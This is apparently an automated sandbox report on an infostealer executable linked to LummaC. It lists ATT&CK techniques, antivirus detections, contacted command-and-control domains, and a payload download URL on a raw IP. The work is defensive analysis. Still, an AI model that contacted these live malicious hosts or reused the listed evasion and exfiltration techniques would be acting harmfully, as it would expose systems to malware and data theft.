Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	44 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
eYAXkcBRfQ.exe	55%	ReversingLabs	Win32.Infostealer.Tinba
eYAXkcBRfQ.exe	100%	Avira	TR/Crypt.TPM.Gen
eYAXkcBRfQ.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.16/off/def.exeox	0%	Avira URL Cloud	safe
https://mindhandru.buzz/02	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apip	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apiz	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apied	100%	Avira URL Cloud	malware
https://mindhandru.buzz/uo	100%	Avira URL Cloud	malware
https://mindhandru.buzz:443/apip	100%	Avira URL Cloud	malware
https://mindhandru.buzz/3e	100%	Avira URL Cloud	malware
https://mindhandru.buzz/s	100%	Avira URL Cloud	malware
https://mindhandru.buzz/p	100%	Avira URL Cloud	malware
https://mindhandru.buzz/e	100%	Avira URL Cloud	malware
https://mindhandru.buzz/M	100%	Avira URL Cloud	malware
https://mindhandru.buzz/J	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.google.com	172.217.21.36	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
mindhandru.buzz	104.21.11.101	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
scentniej.buzz	false	high
hummskitnj.buzz	false	high
mindhandru.buzz	false	high
https://mindhandru.buzz/api	false	high
rebuildeso.buzz	false	high
appliacnesot.buzz	false	high
screwamusresz.buzz	false	high
cashfuzysao.buzz	false	high
inherineau.buzz	false	high
prisonyfork.buzz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_91.5.dr	false		high
https://duckduckgo.com/chrome_newtab	eYAXkcBRfQ.exe, 00000000.00000003.2094578971.000000000516E000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094634121.000000000516B000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094708482.000000000516B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	eYAXkcBRfQ.exe, 00000000.00000003.2094578971.000000000516E000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094634121.000000000516B000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094708482.000000000516B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	eYAXkcBRfQ.exe, 00000000.00000003.2148570377.0000000005131000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_91.5.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	eYAXkcBRfQ.exe, 00000000.00000003.2148570377.0000000005131000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_102.5.dr, chromecache_121.5.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	eYAXkcBRfQ.exe, 00000000.00000003.2094578971.000000000516E000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094634121.000000000516B000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094708482.000000000516B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_91.5.dr	false		high
https://mindhandru.buzz/pi	eYAXkcBRfQ.exe, 00000000.00000003.2093543046.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2093434036.00000000004D5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_102.5.dr, chromecache_121.5.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_102.5.dr, chromecache_121.5.dr	false		high
https://mindhandru.buzz/apied	eYAXkcBRfQ.exe, 00000000.00000003.2146795014.0000000005131000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2147056480.0000000005132000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_121.5.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_102.5.dr, chromecache_121.5.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_91.5.dr	false		high
https://mindhandru.buzz:443/api	eYAXkcBRfQ.exe, 00000000.00000003.2210177564.000000000052B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_102.5.dr, chromecache_121.5.dr	false		high
https://mindhandru.buzz/apiz	eYAXkcBRfQ.exe, 00000000.00000003.2422887500.00000000004D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_91.5.dr	false		high
http://x1.c.lencr.org/0	eYAXkcBRfQ.exe, 00000000.00000003.2147255165.00000000051E2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	eYAXkcBRfQ.exe, 00000000.00000003.2147255165.00000000051E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_102.5.dr, chromecache_121.5.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_91.5.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	eYAXkcBRfQ.exe, 00000000.00000003.2094578971.000000000516E000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094634121.000000000516B000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094708482.000000000516B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/02	eYAXkcBRfQ.exe, 00000000.00000003.2147027048.00000000051BA000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2146779563.00000000051B9000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2171355677.00000000051BC000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2171052101.00000000051BB000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2148191881.00000000051BC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/off/def.exer	eYAXkcBRfQ.exe, 00000000.00000003.2423066341.0000000000542000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exes	eYAXkcBRfQ.exe, 00000000.00000002.2516865458.00000000004B3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_102.5.dr, chromecache_121.5.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_102.5.dr, chromecache_121.5.dr	false		high
https://github.com/gewarren	chromecache_91.5.dr	false		high
https://mindhandru.buzz/uo	eYAXkcBRfQ.exe, 00000000.00000003.2210177564.0000000000543000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2297872572.0000000000543000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	eYAXkcBRfQ.exe, 00000000.00000003.2148252844.0000000005457000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_102.5.dr, chromecache_121.5.dr	false		high
https://mindhandru.buzz/3e	eYAXkcBRfQ.exe, 00000000.00000003.2171355677.00000000051BC000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2171052101.00000000051BB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/off/def.exeox	eYAXkcBRfQ.exe, 00000000.00000002.2516865458.00000000004B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_91.5.dr	false		high
http://185.215.113.16/off/def.exeeWebKit/537.36	eYAXkcBRfQ.exe, 00000000.00000002.2513178626.00000000001AA000.00000004.00000010.00020000.00000000.sdmp	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_91.5.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_102.5.dr, chromecache_121.5.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_102.5.dr, chromecache_121.5.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_102.5.dr, chromecache_121.5.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	eYAXkcBRfQ.exe, 00000000.00000003.2094578971.000000000516E000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094634121.000000000516B000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094708482.000000000516B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz:443/apip	eYAXkcBRfQ.exe, 00000000.00000003.2093434036.00000000004CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/Thraka	chromecache_91.5.dr	false		high
https://mindhandru.buzz/s	eYAXkcBRfQ.exe, 00000000.00000003.2193631413.0000000000543000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://polymer.github.io/PATENTS.txt	chromecache_102.5.dr, chromecache_121.5.dr	false		high
https://aka.ms/certhelp	chromecache_102.5.dr, chromecache_121.5.dr	false		high
https://mindhandru.buzz/	eYAXkcBRfQ.exe, 00000000.00000003.2120723421.00000000051AE000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2121653868.00000000051AE000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2210745144.00000000004B3000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2171052101.00000000051AE000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2121010282.00000000051AE000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2093543046.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2146990556.00000000051AE000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2298073801.00000000004B3000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2147104179.00000000051AE000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2121294110.00000000051AE000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2120692064.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2193903896.00000000004B3000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2093434036.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2120959832.00000000051AE000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2120582627.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2121484915.00000000051AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	eYAXkcBRfQ.exe, 00000000.00000003.2094578971.000000000516E000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094634121.000000000516B000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094708482.000000000516B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	eYAXkcBRfQ.exe, 00000000.00000003.2147255165.00000000051E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_91.5.dr	false		high
https://mindhandru.buzz/apip	eYAXkcBRfQ.exe, 00000000.00000003.2093543046.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2093434036.00000000004D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	eYAXkcBRfQ.exe, 00000000.00000003.2147255165.00000000051E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	chromecache_91.5.dr	false		high
https://schema.org	chromecache_121.5.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_102.5.dr, chromecache_121.5.dr	false		high
https://mindhandru.buzz/p	eYAXkcBRfQ.exe, 00000000.00000003.2210177564.0000000000543000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2297872572.0000000000543000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	eYAXkcBRfQ.exe, 00000000.00000003.2094578971.000000000516E000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094634121.000000000516B000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094708482.000000000516B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	eYAXkcBRfQ.exe, 00000000.00000003.2148252844.0000000005457000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/e	eYAXkcBRfQ.exe, 00000000.00000003.2193631413.0000000000543000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2210177564.0000000000543000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2297872572.0000000000543000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/yourcaliforniaprivacychoices	chromecache_91.5.dr	false		high
https://ac.ecosia.org/autocomplete?q=	eYAXkcBRfQ.exe, 00000000.00000003.2094578971.000000000516E000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094634121.000000000516B000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094708482.000000000516B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_91.5.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_102.5.dr, chromecache_121.5.dr	false		high
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	eYAXkcBRfQ.exe, 00000000.00000003.2148570377.0000000005131000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/adegeo	chromecache_91.5.dr	false		high
http://crl.micro	eYAXkcBRfQ.exe, 00000000.00000003.2298022450.000000000051D000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2194018002.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2093543046.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2173885979.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2173802722.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2193903896.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2210745144.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2093434036.00000000004D5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_102.5.dr, chromecache_121.5.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	eYAXkcBRfQ.exe, 00000000.00000003.2147255165.00000000051E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_102.5.dr, chromecache_121.5.dr	false		high
https://mindhandru.buzz/J	eYAXkcBRfQ.exe, 00000000.00000003.2298073801.00000000004B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/js-cookie/js-cookie	chromecache_102.5.dr, chromecache_121.5.dr	false		high
https://mindhandru.buzz/M	eYAXkcBRfQ.exe, 00000000.00000003.2093492420.00000000004B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/off/def.exe	eYAXkcBRfQ.exe, 00000000.00000002.2516865458.00000000004B3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_91.5.dr	false		high
https://channel9.msdn.com/	chromecache_102.5.dr, chromecache_121.5.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	eYAXkcBRfQ.exe, 00000000.00000003.2094578971.000000000516E000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094634121.000000000516B000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094708482.000000000516B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_102.5.dr, chromecache_121.5.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
104.21.11.101	mindhandru.buzz	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.6
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581410
Start date and time:	2024-12-27 15:11:32 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	eYAXkcBRfQ.exe renamed because original name is a hash value
Original Sample Name:	6c77cecdfb7fbd825f0f1b98e7580a12.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/67@7/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.193.114.26, 192.229.221.95, 172.217.19.227, 184.28.89.167, 142.250.181.142, 64.233.161.84, 88.221.170.101, 172.217.17.46, 172.217.17.42, 142.250.181.74, 172.217.19.202, 142.250.181.106, 172.217.21.42, 142.250.181.138, 142.250.181.42, 172.217.17.74, 216.58.208.234, 172.217.19.234, 2.19.198.56, 23.32.238.130, 172.217.17.35, 172.202.163.200, 13.107.246.63, 184.28.90.27, 20.109.210.53
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, clients.l.google.com, wcpstatic.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: eYAXkcBRfQ.exe

Simulations

Behavior and APIs

Time	Type	Description
09:12:26	API Interceptor	90x Sleep call for process: eYAXkcBRfQ.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=eYAXkcBRfQ.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=eYAXkcBRfQ.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=eYAXkcBRfQ.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=eYAXkcBRfQ.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse
	w22319us3M.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse
	JA7cOAGHym.exe	Get hash	malicious	Vidar	Browse
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse
	https://www.solutionfun.info/landingpage/88d166e1-2419-40aa-9b2d-6e9955c2aba8/Kowu_RY0atl7IwT3gv1Oxj31WsMvyYvLoFt-RCYljqI	Get hash	malicious	Unknown	Browse
	https://linkenbio.net/59125/247	Get hash	malicious	Unknown	Browse
	https://dnsextension.pro/invoice/d2d0bf8701b34bc296ca83b956c10720	Get hash	malicious	Unknown	Browse
	DOTA2#U89c6#U8ddd#U63d2#U4ef6.exe	Get hash	malicious	Unknown	Browse
185.215.113.16	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mindhandru.buzz	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	Wvo9FU4qo9.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
s-part-0035.t-0009.t-msedge.net	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	LPO-0048532025.lnk	Get hash	malicious	DarkVision Rat	Browse	13.107.246.63
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	zox1oNM5Xl.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	JA7cOAGHym.exe	Get hash	malicious	Vidar	Browse	13.107.246.63
	OTRykEzo6o.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	wceaux.dll.dll	Get hash	malicious	Unknown	Browse	13.107.246.63
	wp.bat	Get hash	malicious	Unknown	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
